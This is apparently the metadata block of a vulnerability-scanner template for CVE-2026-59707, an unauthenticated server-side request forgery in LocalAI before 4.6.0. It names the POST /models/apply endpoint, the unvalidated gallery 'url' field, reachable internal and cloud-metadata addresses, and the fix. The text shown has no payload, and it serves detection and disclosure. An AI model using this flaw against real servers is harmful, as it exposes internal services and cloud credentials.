id: CVE-2026-59707

info:
  name: LocalAI < 4.6.0 - Server-Side Request Forgery
  author: ashish-cybersec
  severity: critical
  description: |
    LocalAI before 4.6.0 is affected by an unauthenticated server-side request forgery vulnerability in the POST /models/apply endpoint. The gallery `url` field is passed to the gallery config fetcher without validation, allowing an unauthenticated attacker to make the server issue HTTP requests to arbitrary internal, loopback, link-local, and cloud-metadata addresses. The outcome of the server-side fetch is reflected in the model-apply job status.
  impact: |
    An unauthenticated attacker can reach internal-only services and cloud metadata endpoints through the server, with partial responses leaked via job error messages.
  remediation: |
    Upgrade to LocalAI 4.6.0 or later, which validates gallery config URLs and rejects requests to internal network addresses.
